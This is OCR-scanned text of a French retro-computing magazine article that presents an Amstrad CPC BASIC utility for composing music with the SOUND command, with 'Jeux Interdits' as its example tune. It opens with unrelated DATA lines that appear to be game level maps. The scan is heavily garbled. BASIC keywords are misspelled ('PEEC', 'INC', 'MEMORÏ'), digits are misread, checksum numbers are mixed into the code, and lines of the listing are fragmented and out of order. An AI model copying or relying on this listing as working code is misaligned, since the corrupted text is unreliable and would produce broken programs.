0000111111110000 

3000 DATA 300000122222210110.3300 
00000000000000,330000000000000104 
3010 DATA 111111110000111111,2222 
22210000122222,X.X.X.X 
3020 DATA 8,10 

3030 REM : datas teb 2 : : : 

3040 DATA 333111111111111999,0001 
22222222221000.x 

3050 DATA 000001111111111111,0333 
01222222222222.021205000000000000 
3060 DATA 021205006000000000.0212 
05006003333333,021200005000000000 
3070 DATA 021200006000000000,4212 
00006000000000,666655555000000000 
3080 DATA 10,15 
3090 REM : : : datas tab 3 : ; : 

3100 DATA 199133331111565656,0001 
00002222000000,000100002000000000 
3110 DATA 000000220002221000,1111 
00200022225000,000000202224336000 
3120 DATA 002222202000035000,0022 
00002000005000,000002222011116000 
3130 DATA 002222222010045000,0000 
00000000006000.333111111111111000 
3140 DATA 10,20 
3150 REM : : : datas tab 4 : : : 

3160 DATA 399333333333333333,0000 
01222222221000,000101200000000000 
3170 DATA 000101201111111000,1011 
01201222221000,000001201000036000 
3180 DATA 000001105056561000,0000 
00005000006000,000122221056001000 
3190 DATA 000111111021006004,0000 
00000021003004.100133331111565656 
3200 DATA 10,23 
3210 REM : datas tab 5 : : : 

3220 DATA 565656565656565699,0000 
00003400001000,000030003000010000 
3230 DATA 000333000000013000,0111 
11111000013300,012222221000013000 
3240 DATA 000000021000010003,0000 
00021000010033,333333021000050003 
3250 DATA 000000021000000000,0000 
00021222222222.300333333333333333 
3260 DATA 9,26 

3270 REM : datas tab 6 : : : 

3280 DATA 111111111111111119,0000 
00200002000020,000020202002020000 
3290 DATA 000020002000020000,0000 
35635635635635,000000000001222222 
3300 DATA x.x,506565656565630000, 
200000000004133000 
3310 DATA 222100000000133300,5656 
56565656565600,11,29 
3320 REM ::: datas tab 7 ::: 

3330 DATA 333333333333199999,0000 
00000000100000,000000005004100000 
3340 DATA 001111115611111100,0012 
22210012222100,x,x 
3350 DATA 111100111111001111,2221 

00122221001222,x.x 

3360 DATA 111111111111111110,10,3 

3370 REM : : datas tab 8 

3380 DATA 119956565656565656,0000 

01200000000333,000001200000000033 

3390 DATA 000001200000000003,0000 

01200000000000,303331100000111000 

3400 DATA 000000000111221000,0000 

00111222221000.343111222222221000 

3410 DATA 565000000000000000,0000 

00000000003333.333333333333100000 

3420 DATA 10,35 

3430 REM : datas tab 9 : : : 

3440 DATA 191111565656565656,0000 
00002000200000,000000200020002220 
3450 DATA 000001111101111000,0000 
03000500006000.110111030333302022 
3460 DATA 000100010100002000.0101 
01110101111050,010101000100050060 
3470 DATA 562201016501011110,0000 
02000002000000,110056565656565656 
3480 DATA 5,40 

3490 REM : : datas tab 10 : : : 

3500 DATA 111111111111111111.1410 
02000200000020,000002010001002020 
3510 DATA 000002012221002000,0000 
00015656565603,222212212221222103 
3520 DATA 111111122221000000,1,11 
1111101111111111,2222221012222222 
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[1253] 

[3296] 

[2513] 
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[2689] 
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[2113] 
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[2809] 
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[1199] 

[1325] 

[2685] 

[3353] 

[3088] 

[3145] 
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[1333] 

[2717] 
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[2260] 
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[2898] 

[2872] 

[2263] 
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3530 DATA x,101111565656565656,5, [1398] 
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MUSIQUE 

MUSIQUE MAESTRO II 

EDITEZ VOS JEUX INTERDITS 


L'art de traduire une partition en 
données assimilables par le processeur 
sonore (commande SOUND) vous est 
connu depuis l'article de Micro-Mag n°l. 
Sa conclusion, l'achat d'un logiciel 
musical ne s'impose pas toujours. 


V oici donc un utilitaire 
(listing 1) destiné à faci¬ 
liter votre vie de compo¬ 
siteur. Le mode d'emploi assez 
conséquent est volontairement 
exclu du programme afin de 
ne pas en allonger la frappe. 
Le détail des procédures per¬ 
mettra de mieux appréhender 
son fonctionnement et souli¬ 
gnera les points essentiels à 
respecter 

Fonctionnement 

Son but est normalement de 
fournir trois données de base 


quasiment indispensables: la 
valeur du canal, la séquence 
vibratoire de la note et un indi¬ 
ce de durée qui respecte le rap¬ 
port de temps entre les diffé¬ 
rents types de notes (blanche. 


noire, etc.). Cet indice sera 
ensuite multiplié par une 
valeur plus ou moins grande 
afin de varier la vitesse d'exé¬ 
cution. Dès le lancement, le 
programme vous propose de 
recharger un fichier (poursuite 
d'un travail). Sachez qu'un 
fichier sauvegardé contient, en 
plus des valeurs musicales, les 
différents paramètres spéciaux 
déterminés lors d'un premier 
travail (numéro d'enveloppes, 
bruit, canaux concernés par 
ces données) et ceux utiles à la 
reprise ultérieure d'un travail 
(nombre total de données, lieu 
de stockage en Ram pour la 
suite du morceau). 

S'il s'agit d'un nouveau travail, 
vous pourrez ou non adjoindre 
des données supplémentaires 
(numéro d'enveloppe de volu¬ 
me, de tonalité ou indice de 
bruit) aux trois données de 
base ainsi que le ou les canaux 
concernés par ces paramètres. 
Bon à savoir: si vous choisissez 
ces trois données pour, par 
exemple, un son particulier 
sur le canal B (le canal A res¬ 
tant lui en son pur), le complé¬ 
ment sera fait par le program¬ 
me pour les notes du canal A 
avec une enveloppe de volu¬ 
me, de tonalité et une indice 
de bruit, tous mis à 0. Cela afin 
que la routine de votre pro¬ 
gramme ultérieur puisse tou¬ 


jours chercher le même 
nombre de données. 

Bien sûr, le programme peut 
être modifié de telle sorte qu'il 
ne sauvegarde pas ces complé¬ 
ments à 0. Il devra alors tester, 
suivant les valeurs-canal (il en 
existe certaines relatives à un 
seul, vu les possibilités de ren¬ 
dez-vous), à quel canal il a 
affaire (A, B ou C) pour aller 
chercher le nombre correct de 
données le concernant. Ces 
tests Basic sont extrêmement 
longs. 

Notre choix a aussi été guidé 
par le fait qu'un thème musical 
assez important agrémente 
souvent l'écran de présenta¬ 
tion. On peut alors mettre tout 
cela dans un programme à 
part, qui au final, lancera le 
programme principal (l'impor¬ 
tance du nombre de données 
n'est plus alors un inconvé¬ 
nient). 

Exemple d'un cas spécial: vous 
désirez un numéro d'envelop¬ 
pe. de volume et de bruit pour 
le A et d'env. de tonalité seule¬ 
ment pour le B. Il faut alors 
déclarer les trois, sélectionner 
les canaux A et B et ensuite 
modifier à l'écran ces données 
pour chaque canal en mettant 
à 0 celle(s) qui ne 
s'applique(nt) pas à lui. A évi¬ 
ter car trop fastidieux! 

Au menu 

Apparaissent ensuite à l'écran, 
quatre flèches dans quatre 
menus autorisant différents 
choix: 

• HAUT (touches «.» et FO) : 
sélection du canal désiré et 
possibilités de rendez-vous 
avec un ou deux autres 
canaux. 













• BAS (touches gauche et 
droite) : choix d'un indice de 
durée, valables pour les notes 
et les silence (voir DROIT). 
Signification des abrégés: 

- R : Ronde 

- B P: Blanche pointée 

- B : Blanche 

- N P : Noire pointée 

- N :Noire 

-CP: Croche pointée 

- C : Croche 

- D C P : Double croche poin¬ 
tée 

- D C : Double croche 
-TC: Triple croche 

Cet éventail de durées devrait 
suffire à couvrir la plupart des 
partitions. 

• DROITE (touche haut et 
bas) : choix de la note désirée. 
La portée en clef de Sol pré¬ 
sente trois octaves de MI à MI. 
«S» permet de demander un 
silence. Diéser ou bémoler une 
de ces notes s'obtient par l'op¬ 
tion GAUCHE. 

N. B. Le bémol sur le MI le plus 
grave et le dièse sur le MI le plus 
aigu n'ont pas d'effet sur sa 
valeur, ces notes étant Imites. 

• GAUCHE (touches « I » et 
«+») : 

- Env. Ent. Bruit: octroie un 
numéro d'enveloppe de volu¬ 
me, de tonalité ou une valeur 
de bruit. Attention, ces don¬ 
nées ne seront sauvegardées 
que si vous en avez fait la 
déclaration prélable. Elles 
seront alors ajoutées aux 
valeurs canal-note-durée et ce, 
uniquement pour le ou les 
canaux choisis au départ, les 
autres étant à 0. Employer les 
touches «*» et «}» en vous pla¬ 
çant devant les valeurs à 
modifier. 

- Dièse et Bémol: modifient en 
conséquence la note choisie 
sur la portée. Normal rétablit 
l'état naturel de la note. 

- Reset-Sauver: le résultat des 
diverses opérations mention¬ 
nées ci-dessus, s'inscrit tou¬ 
jours interactivement en bas à 
gauche de l'écran à la suite de 
SOUND. Il est donc possible 
de sélectionner le canal, la 
note (avec ou non altération) 
et la durée, puis de relever le 
résultat exploitable ultérieure¬ 


ment au sein de programmes 
Basic dans des lignes DATA 
(voir Micro-Mag n°l). Cette 
solution est recommandée aux 
débutants en programmation 
pour de petites mélodies. 
Toutefois, les plus costauds 
peuvent procéder autrement. 
Une fois les divers paramètres 
réglés, l'appui sur la barre 
d'espacement transfère les 
données dans une zone 
mémoire réservée en Ram (à 
partir de 20000, ce qui permet 
de placer encore plus de 21000 
données). 

Un compteur indique le 
nombre de données sauvegar¬ 
dées dans cette zone. Un 
appui sur «E» permet à tout 
moment d'en apprécier le 
contenu. Toutefois, il s'agit 
d'une lecture simplifiée ne 
prenant en compte que les 
notes, durées et bruit, le résul¬ 
tat étant passé uniquement sur 
le canal A (soit le 1). Des 
séquences non terminées de 
canaux en rendez-vous, 
auraient risqué de bloquer 
irrémédiablement le program¬ 
me. Quant aux enveloppes de 
volume et tonalité, nous 
n'avons ici que leur numéro. 
C'est vous en effet qui déter¬ 
minerez leurs natures exactes 
dans votre programme. Cette 
vérification permet cependant 
de vérifier globalement la jus¬ 
tesse de la mélodie. Un contrô¬ 
le fréquent permet de déceler 
les «couacs», car l'option 
Reset, à chaque demande, 
autorise certes le retour en 
arrière, mais en «supprimant 
la dernière séquence de don¬ 
nées. 

L'option «sauver» sauvegarde 
un fichier binaire contenant 
toutes ces données. Il suffira 
de le recharger dans une zone 
protégée par MEMORY et 
d'aller puiser les valeurs par 
PEEK (listing 3). Le listing 2 
est un chargeur Basic recréant 
un fichier binaire du type de 
celui généré par le programme 
1. Une fois JEUXINT.BIN créé, 
il peut être exécuté par le pro¬ 
gramme 3 ou rechargé dans le 
programme 1, ou bien encore 
utilisé pour faire fonctionner 
le programme 4 (listing 4, créa¬ 


teur de DATA). Ce thème est 
le reflet exact de la partition 
guitare de «Jeux Interdits». 

Par cette option (sauver), pen¬ 
sez à effectuer de temps à 
autre une sauvegarde de sécu¬ 
rité, on n'est jamais à l'abri 
d'une micro-coupure secteur. 
Sachez encore qu'un appui sur 
CONTROL/F place la valeur 
255 pour le canal, la note et la 
durée, ceci afin de marquer la 
fin de votre travail. Examinez 
le programme 3 qui détecte 
ainsi la fin des données de la 
mélodie. 

On peut éventuellement se 
passer de CONTROL/F en 
testant ultérieurement la mise 
à 0 de toutes les données. Mais 
si la zone où elles sont placées 
contiennent déjà des valeurs 
non remises à 0, vous risquez 
d'avoir des problèmes de 
détection de fin. 

Enfin, si vous rechargez dans 
le premier programme un 
fichier clôturé par 
CONTROL/F (par erreur ou 
pour un essai intermédiaire), 
le programme le détectera et 
se chargera automatiquement 
de supprimer les valeurs de 
clôture (255) pour vous per¬ 
mettre de continuer le travail! 
Au final, s'il y a des «couacs», 
le petit programme n°4 qui 
récupère les valeurs binaires 
sous forme de lignes de 
DATA, permet de chercher et 
corriger plus facilement les 
erreurs. Attention, celui-ci crée 
de fausses lignes Basic affi¬ 
chées à l'écran comme un texte 
quelconque. Il faut ensuite 
employer SHIFT/flèches 
directionnelles pour amener 
un second curseur sur chacu¬ 
ne de ces lignes et les dupli¬ 
quer par COPY. Si votre 
œuvre est trop conséquente, 
les lignes DATA risquent, 
après scrolling de l'écran, de 
disparaître par le haut sans 
que vous les ayez validées. La 
solution: dès le remplissage 
des 3/4 de l'écran, appuyez 
deux fois sur ESC et relevez le 
numéro de la dernière ligne. 
Validez les lignes sauf la der¬ 
nière certainement incomplè¬ 
te. Tapez AD = le numéro rele¬ 


vé de la dernière ligne, suivi 
de : GOTO 150. Validez par 
RETURN et le programme 
continuera pour les données 
attendues (Nous avons coor¬ 
donné le numéro de ligne avec 
la valeur de l'adresse en 
Ram).Nous utilisons person¬ 
nellement cette procédure, car 
relever les valeurs à l'écran 
pour les ressaisir en DATA 
s'avère laborieux pour de 
longues mélodies. 

Voilà! En fin de listing figure 
une liste des principales 
variables, le programme étant 
lui structuré par des Rem. 
Tout cela devrait vous per¬ 
mettre d'arranger à votre 
guise cet utilitaire de base. 

Exemple de modifs 

* Si je vois par exemple, tous 
les FA - sans exception, ou 
alors une ou deux facilement 
modifiables dans les lignes 
DATA - sont diésés dans la 
partition, je remplace dans la 
ligne des séquences vibra¬ 
toires (chargement de DIM n), 
la valeur de FA par celle de 
FA# lisible à sa droite (celà, 
bien sûr, dans les trois 
octaves). Je n'ai plus ensuite à 
me préoccuper de demander 
un dièse avec le menu gauche, 
chaque demande de FA à droi¬ 
te donnant directement un 
FA#. On peut donc, pour un 
travail conséquent, modifier 
toutes les valeurs conformé¬ 
ment à l'armature (altérations 
à la clé). C'est la procédure 
employée pour «Jeux 
Interdits», la deuxième partie 
de la mélodie comportant 4 
dièses à la clef, cela m'a pris 
deux minutes pour modifier 
les valeurs de DIM n, 
quelques minutes supplémen¬ 
taires m’ont suffit à retrouver 
le seul DO qui était demandé 
à l'état naturel (précédé d'un 
bécarre). 

* Si l'on ne joue que sur un 
seul canal, on peut enlever le 
POKE ADR, CANAL et trans¬ 
former ADR ~ ADR + 4 par 
ADR = ADR + 3. Le numéro 
de canal sera donné directe¬ 
ment derrière la commande 
SOUND de votre programme, 
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cela évitera de prendre la 
place en mémoire pour placer 
cette valeur de canal toujours 
identique. 

Bien d'autres modifications 
sont possibles. Suppression de 
la durée si des enveloppes en 
volumes s'occupent de la fixer. 
Modification des trois octaves 
en chargeant DIM n avec 
d'autres valeurs et en effec¬ 
tuant le changement de nom$ 
(ne pas oublier que des notes 
comme Ml dièse, FA bémol, SI 
dièse et DO bémol sont repré¬ 
sentées dans le chargement 
DIM n par O pour simplifier 
la programmation de la 


conversion : position de la 
flèche = quelle note? Un test 
permettant ensuite d'établir la 
note correcte, MI dièse pre¬ 
nant la valeur de FA, etc.). 
Vous pourrez ensuite entrer 
dans les premières lignes de 
l'utilitaire, vos diverses enve¬ 
loppes de volume et tonalité et 
mofifier la commande 
SOUND dans les lignes après 
REM ECOUTE SIMPLIFIEE. 
Pour les faire prendre en 
compte ou encore si vous êtes 
sûr de vous, remplacez dans 
cette même commande le 1 
(numéro de canal), par la 
valeur de canal demandée 


dans les données. 

Ne soyez pas étonné que le lis¬ 
ting 2 ne contienne pas les 
valeurs habituelles de 
séquences vibratoires des 
notes ( ex: 239). En effet, il 
s'agit uniquement d'un char¬ 
geur Basic destiné à créer un 
fichier binaire comme celui 
généré par le programme 1. 
Une adresse de la mémoire 
vive ne pouvant accueillir un 
nombre supérieur à 255, la 
valeur d'une note plus élevée 
est stockée sur deux adresses. 
Ce qui explique que lorsqu'on 
appuie sur la barre d'espace 
dans le programme 1, le 


compteur augmente du 
nombre voulu de données + 1. 
Le programme 4 quant à lui, 
remet tout cela en ordre pour 
présenter dans les DATA, la 
valeur de la note sous sa 
forme correcteLors de notre 
prochain rendez-vous, je vous 
proposerai un synthé très ori¬ 
ginal permettant à tous ceux 
qui ont une sainte horreur du 
solfège, de conserver une 
mélodie jouée directement au 
clavier. En attendant, bon tra¬ 
vail ou bon amusement (c’est 
selon...). 

Guy Poli 


10 ............................ [1U 4] 

20 '* • [1751 

30 '* UTILITAIRE MUSIQUE » [127] 

40 ■* POLI Guy - JUIN 89 * [7971 

50 •* PROGRAMME 1 » [1051] 

40 •» * [1751 

70 ... [1144] 

80 ' [1171 

90 MODE 1 : INC 0,0:INC 1,24:INK 2, [4207] 
6 : INC 3,0: BORDER 0 : TAGOFF : PRINT C 
HR$(23);CHR$(1) 

100 LOCATE 11,3:PEN 2.1:PRINT " I [4707] 
R MG T U P L ":LOCATE 15,6:P 
RINT"P E E T N":LOCATE 11.3:PEN 1 
:PR1NT"M C O A E G T 0 I":LOCA 
TE 15,6 :PRINT” R S N E T“ 

110 TAG:cr=l:TITRE$="MAESTRO" [1800] 
120 NC=LÉN(titreS):NP=NC*8 [1062] 

130 TST=0:HC=(639-NC*64)/2 [2044] 

140 MOVE 1.399:GRAPHICS PEN 3:PRI [2662] 
NT TITRES;: GRAPHICS PEN 1 
150 rhc=hc:htc=l:Vc=270:VtC=398 [1729] 
160 FOR T=1 TO 8:FOR TT=1 TO NP [1517] 
170 IF TESTCHTC,vTC)=3 THEN MOVE [3479] 
EC,-?C-.PRIHT CHRSU33); :MOVER -16. 

-16:PRINT CHRSC133);:MOVER 0,16 
180 hc=hc+8:hte=htc+2 [457] 

190 NEXT:VC=VC-32:VTC=VTC-2:htc=l [3033] 
:hc=rhc:NEXT 

200 IF TST=1 THEN 220 [936] 

210 HC=RHC+4:RHC=HC:HTC=1:VC=266: [3720] 
VTC=398:GRAPHICS PEN 2:TST=l:GOTO 

220 HINDOU #2,1,40,1,1:PAPER #2,0 [3558] 
:CLS #2::INC 3,15;FOR tempo=l TO 
1400 :NEXT 

230 TAGOFF:PRINT CHRS(23);CHR$(0) [3370] 
240 ' [117] 

250 '** RECHARGER UN FICHIER ** [1594] 

260 MEMORÏ 19989:MDDE 2 : BORDER 13 [17041] 
:INE 0,13:INC 1.0:LOCATE 1,11:PRI 
NT '' Voulez-vous recharger un fl 
chier (O ou N suivi d'ENTER). Dan 
s 1'affirmative, vérifiez la p 
resence de la disquette le compor 
tant dans le lecteur";:INPUT r$:r 
S=UPPER$(rS> 

270 IF r$="N" THEN 370 [1214] 

280 IF r$<>"O" THEN 250 [921] 

290 LOCATE 3.15:INPUT "Nom du fie [8378] 
hier sans le label .BIN suivi ENT 
ER”;fich$:flchî=fichS+“.bln":LOAD 
flch$,19990 

300 fenv=PEEKf19990):fent=PEEC(19 [12329] 
991):fbruit=PEEC(19992):flas(l)=P 
EECC19993) : fias (2)=PEEX( 19994) :fl 
as(3)=PEE£(19995):adr=PEEE(19996) 
■256+PEEC(19997):compt=P£EE(19998 
)*256+PEEE(19999) 

310 QZ=0: FOR B=19990 TO 19992:IF [4520] 

PEEK(B)>0 THEN QZ=QZ+1 
320 NEXT [350] 

330 IF PEBC(ADR- (1+QZ))=255 AND P [5835] 


EEC(ADR-(2+QZ))=255 AND PEEC(ADR- 
(4-tQZ))=255 THEN ADR=ADR-(4-K3Z) :C 
OMPT=COMPt-(4+Z) 

340 GOTO 710 
350 1 

360 '** PARAM, SUPPLEMENTAIRES ** 
370 MODE 2:LOCATE 3,10:PRINT "DES 
IREZ-VOUS SAUVEGARDER DES PARAMET 
RES SUPPLEMENTAIRES (No D'ENVELOP 
PES DE":LOCATE 5.12:PRINT "VOLUME 
, DE TONALITE OU VALEUR DE BRUIT 
7 (O ou N suivi d'ENTER)";:INPUT 
RS :r$=UPPERÎ(rS) 

380 IF r$="N" THEN 690 
39® IF r$«"0" THEN 37® 

400 CLS:LOCATE 24,10:PRINT "REPON 
DEZ PAR O ou N suivi d'ENTER":LOC 
AIE 24,12:INPUT "UN NUMERO D'ENVE 
LOPPE DE VOLUME " ;R$ :r$=UPPER$(r$ 

410 IF r$<>“0" AND r$o"N" THEN 4 
00 

420 IF r$="0" THEN FENV=1 ELSE FE 
NV=0 

430 CLS-.LOCATE 24,10-.PRINT "REPON 
DEZ PAR O ou N suivi d’ENTER":LOC 
ATE 24,12: INPUT "UN NUMERO D’ENVE 
LOPPE DE TONALITE ”;R$:r$=UPPER$( 
r$) 

440 IF rSo"O" AND r$«"N" THEN 4 
30 

450 IF r$="0" THEN FENT=1 ELSE FE 
NT=0 

460 CLS .-LOCATE 24,10:PRINT "REPON 
DEZ PAR 0 ou N suivi d'ENTER" :LOC 
ATE 24,12:INPUT "UNE VALEUR POUR 
LE BRUIT “; RS :r$=UPPER$(r$) 

470 IF r$<>"0" AND rS«"N" THEN 4 
60 

480 IF r$="0" THEN FBR0IT=1 ELSE 
FBRUIT=0 

490 MODE 1 : INC l,13:WINDOH #3,14, 
14,8,20 

500 LOCATE 4.4 :PRINT "Choisissez 
le ou les canaux qul":LOCATE 4,5: 
PRINT "auront besoin de telles do 
nnees" 

510 LOCATE 7,24:PRINT "Déplacer: 
fléchés curseur":LOCATE 3,25:PRIN 
T"Vallder ou effacer: barre d'esp 

520 LOCATE 16.10:PRINT "Canal A": 
LOCATE 16,13:PRINT "Canal B":LOCl 
TE 16.16:PRINT "Canal C": 

530 LOCATE 16,20:PRINT “QUITTER 

540 y=10:op=l:PEN l:LOCATB 14,10: 

PRINT CHR$(243): INC 1,0 

550 IF INCET (2)=0 THEN 560 ELSE 

580 

560 op=op+l: IF op>4 THEN op-1 
570 GOSUB 660 

580 IF INCEI (0)=0 THEN 590 ELSE 
610 


[4311 

[117] 

[2569] 

[14184] 


[1206] 

[9681 

[7241] 


[1143] 

[1579] 

[71891 


[1153] 

[1986] 

[6134] 

[1115] 

[1683] 

[2176] 

[8238] 

[7390] 


[5101] 


[2054] 

[2528] 

[926] 


[1713] 

[881] 

[1220] 


590 op=op-l:IF op<l THEN op=3 
600 GOSUB 660 

610 IF INCET (47)=0 THEN 620 ELSE 
650 

620 GOSUB 680 
630 IF op=4 THEN 690 
640 IF flas(op)=0 THEN flas(op)=l 
ELSE flas(op)=0 

650 FOR b=l TO 200:NEXT:GOTO 550 
660 CLS #3 : RESTORE 670:FOR b=l TO 
op:READ y :NEXT:LOCATE 14,y:PRINT 
CHRS(243) :RETURN 
670 DATA 10,13,16,20 
680 PRINT CHR$(23);CBR$(1);:TAG:G 
RAPHICS PEN 1 :MOVE 238,416-(y‘16) 
:FOR b=l TO 9:DRAWR 114,0:MOVER - 
114,-2 :NEXT:TAGOFF:RETURN 
690 PRINT CHRS(23):CHRS(0)::adr=2 
0000:COMPT=0 
700 1 

710 IF FENV=1 THEN AS=1 
720 IF FENT=1 THEN AS=AS+1 
730 IF FBRUIT=1 THEN AS=AS+1 
740 MODE 2 : INC 0,13:INC 1.0:BORDE 
R 13:PEN 1: ICC ATE l.l-.PRINT "CHOI 
X":LOCATE 1,2:PRINT “CANAL":LOCAT 
E 7,1 :PRINT "A B C A+B 
B+A A+C C+A B+C C+B A 

+B+C B+A+C C+A+B" 

750 LOCATE 1,24:PRINT ”CHOIX":LOC 
ATE 1,25:PRINT "DUREE”:LOCATE 13, 
24 :PRINT "R BP B N P 

N CP C D C P D C TC 


760 LOCATE 1 


" ELSE PRINT "ENV 


770 LOCATE 1,7 


IF fenv=l THEN PRI 


IF fent=l THEN PRI 


" ELSE PRINT "ENT" 

780 LOCATE 1,9:IF fbrUlt=l THEN P 
" ELSE PRINT "BRUIT" 

790 LOCATE 1,11:PRINT “NORMAL”:LO 
CATE 1,13:PRINT "DIESE":LOCATE 1, 
15:PRINT "BEMOL" :IOCATE 1,17:PRIN 
T "RESET":LOCATE 1,19:PRINT “SAUV 
ER" 

B00 LOCATE 24.5:PRINT "NOMBRE DE 
DONNEES :":LOCATE 30,6:PRINT USIN 
G "#####”:COMPT 

810 opc=l:canal=l:opd=l:duree=32: 
opn=l:fhS=CHRS(242)tCHRS(154):fvS 
=CHR$(240):xh=7:xb=13:yd=94:yg=33 
6 : OP=l:note=0:nenv=0:Dent=0:nbrul 
t=0:WINDOW #1,7,80,2,2:WINDCW #2, 
7,80,25,25:KINDOW #3.65,67.3,21:» 
INDO» #4,9,11,5,19:»INDO» #5.15,4 
6,9,19 

820 DIM N(46):GOSUB 2220 
830 LOCATE 1.21:PRINT "SOUND";USI 
NG "###";CANAL;:PRINT ”,";:PRINT 
ÜSING •'####" :N(1)::PRINT ",";:PRI 
NT USING ”##”;DUREE;:note=n(l) 

840 LOCATE xh,2:PRINT fv$:LOCATE 
xb,25:PRINT fv$:TAG:MOVE 72,yg:GR 


[1756] 

[881] 

[945] 


[972] 

[802] 

[2307] 


[2120] 

[5034] 


[3407] 


[117] 

[937] 

[1114] 

[331] 

[10332] 


[5179] 


[26111 

[3167] 

[4571] 

[9786] 

[3554] 

[16089] 


[1371] 

[6716] 


[6406] 
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[117] 

860 '** DESSIN PORTEE *« [1279] 

870 TAG:MOVE 500.98 :GRAPHICS PEN [4193] 
1:dr=20:nî=3:GOSÜB 2160:dr=80:nf= 

5;GOSUB 2160:dr=20:nf=3:GOSUB 216 
0 

880 KOVE 516,yd:PRINT fhî: [2261] 

890 RESTORE 930:FOR b=l TO 7:READ [8941] 
m$Cb):NEXT:ym=344:fm=0:MOVE 500, 
ym:FOR bb=l TO 3:FOR b=l TO 7:IF 
fm=l THEN fm=0 ELSE fm=l 
900 IF fm=o THEN xm=478 ELSE xm=4 [759] 
52 

910 MOVE xm,yœ:PRINT m$Cb)::ym=ym [3505] 
-12:NEXT:NEXT 

920 MOVE 484.358:PRINT "S";:MOVE [5586] 
480,94:PRINT “MI”;:MOVE 550,358:P 
RINT "S = SILENCE"; 

930 D4TA MI.RE,DO,SI,LA,SOL,FA [1320] 

940 TAGOFF [1066] 

950 ' [117] 

960 '** TEST TOUCHE *• [954] 

970 IF INKEYC15)=0 OR INKEY(7)=0 [2611] 

THEN GOSUB 1090 

980 IF INKEY(8)=0 OR INKEY(1)=0 T [2269] 
HEN GOSUB 1180 

990 IF INKEYC0)=0 OR INKEY(2)=0 T [1757] 
HEN GOSUB 1280 

1000 IF INKEY(26)=0 OR INKEY<28)= [2114] 
0 THEN GOSUB 1460 

1010 IF INKEYC47)=0 THEN GOSUB 15 [1005] 
50 

1020 IF INKEY(19)=0 OR INKEY(29}= [2487] 
0 THEN GOSUB 1900 

1030 IF INKEY(5B)=0 THEN GOSUB 20 [1643] 
80 

1040 IF INEEYC53)=128 THEN note=2 [4777] 
55:eanal=255:duree=255:GOSDB 1550 
1050 FOR B=1 TO 60:NEXT [1912] 

1060 GOTO 970 [330] 

1070 ' [117] 

1080 VALEUR CANAL ** [1046] 

1090 IF INKEY(15)=0 THEN 1100 ELS [999] 
E 1120 

1100 IF opc>l THEN 1110 ELSE RETU [2723] 
RN 


1130 xh=xh+6:ope=opc+l:GOTO 1140 
1140 TAGOFF:CLS #l:LOCATE xh,2:PR 
INT fv$:RESTORE 1150:FOR b=l TO o 
pc;READ canal:NEXT:LOCATE 7,21:PR 
INT USING CANALiRETURN 
1150 DATA 1.2,4.17.10,33,12,34.20 
.49,42,28 
1160 1 

1170 '** VALEUR DUREE *• 

1180 IF INKEY(8)=0 THEN 1190 ELSE 
1210 

1190 IF opd>l THEN 1200 ELSE RETU 


1440 ' 

1450 •** OPTIONS DIVERSES ** 

1460 IF INKEY(28)=0 THEN 1470 ELS 
S 1490 


[117] 

[3571 

[1094] 


RN 


1470 IF op<8 THEN 1480 ELSE RETUR [1291] 


1500 yg=yg+32:op=op-l:GDTO 1510 [2668] 

1510 CLS #4:TAG:MOVE 72,yg:PRINT [1219] 
fh$: 

1520 alC=0:GOSUB 1340iRETURN [1615] 

1530 ' [117] 

1540 '«* DONNEES EN MEMOIRE ** [2310] 

1550 SOUND 129,0:FOR B=1 TO 20:BO [6945] 
RDER 6: FOR BB=1 TO 10 : NEXT : BORDER 
13;SOUND 1,2200,2,6 , . , 1 : NEXT: IF 
OP=7 THEN 1580 ELSE 1630 
1560 ' [117] 

1570 '* Raset * [208] 

1580 ADR=ADR-(4+AS>:IF ADR<20000 [2722] 

THEN ADR=20000 

1590 FOR ADD=ADR TO ADR+(4+AS):P [5107] 
OKE ADD, 0 :NEXT :COMPT=CCMPT- C4fAS) 

1600 IF COMPT<0 THEN CCMPT=0 [1130] 

1610 LOCATE 30,6:PRINT USING "### [1641] 
##";COMPT 

1620 RETURN [555] 

1630 IF OP=8 THEN 1660 ELSE 1780 [1043] 

1640 1 [117] 


1660 IF compt=0 T 


4 1670 ELSE 16 [1910] 


[117] 

[729] 

[2015] 


0 ELSE RET [1466] 

URN 

1220 xb=xb+ 6 :opd=opd+1 :GOTO 1240 [1918] 

1230 ' [117] 

1240 TAGOFF:CLS #2:LOCATE xB,25:P [7933] 
RINT fvS:RESTORE 1250:FOR b=l TO 
opD:READ duree :NEXT:LOCATE 15,21: 

PRINT USING DUREE:RETURN 
1250 DATA 32,24,16.12.8,6,4.3.2,1 [1191] 
1260 ■ [117] 

1270 •** NOTES OU SILENCE *• [1958] 

1280 IF INEEYC2)=0 THEN 1290 ELSE [1365] 
1310 

1290 IF opN>l THEN 1300 ELSE RETU [1445] 
RN 

1300 yd=yd-12:opn=opn-1 :GOTO 1330 [2078] 
1310 IF opn<23 THEN 1320 ELSE RET [1197] 
URN 

1320 yd=yd+12:opn=opn+l:GOTO 1330 [2526] 
1330 CLS #3:TAG:MOVE 516,yd:PRINT [1829] 
fhî;:alt=0 

1340 IF op=ô THEN alt=-l [1313] 

1350 IF op=5 THEN alt=l [1348] 

1360 indlee=((opn*2)-l)+alt:IF ln [1804] 
dlce=0 THEN lndlce=l 

1370 IF lndlce=44 THEN lndlce=43 [1595] 
1380 note=n(indice) [747] 

1390 IF OPN<23 AND NOTE =0 AND AL [2636] 
T=-l THEN NOTE=N(INDICE-1) 

1400 IF OPN<23 AND NOTE =0 AND AL [3008] 
T=1 THEN NOTE=H ( INDICE*1 ) 

1410 IF opn=23 THEN note=0 [892] 

1420 TAGOFF:LOCATE 10,21:PRINT US [3410] 
ING "####'': NOTE 

1430 RETURN [555] 


1670 FOR b=l TO 30:LOCATE #5.10,5 [5722] 

:PRINT #5,"PAS DE DONNEES [11":FO 
R bb=l TO 30:NEXT:CLS #5:NEXT:RET 
URN 

1680 CLEAR INPUT:PRINT #5,"INTROD [5322] 
UISEZ UNE DISQUETTE ET DONNEZ 
UN NOM (8 CARACTERES) SANS LAB 
EL"::INPUT #5,FS 

1690 POKE 19990,fenv:POKE 19991,f [6441] 
ent:POKE 19992.fbrult:POKE 19993, 
flas(l):POKE 19994,flas(2):POKE 1 
9995,flas(3) 

1700 POEE 19996,adr\256:POEE 1999 [4599] 
7,adr MOD 256:POEE 19998,compt\25 
6 :POKE 19999,compt MOD 256 
1710 SAVE F$,B.19990.COMPTt-10 [2036] 

1720 CLS #5:PRINT #5,"SI VOUS DES [5705] 
IREZ RECOMMENCER UN AUTRE TRAVAI 
L, REINITIALISEZ PARCONTROL-SHIFT 
+ESC ET RELANCER LEPROGRAMME." 

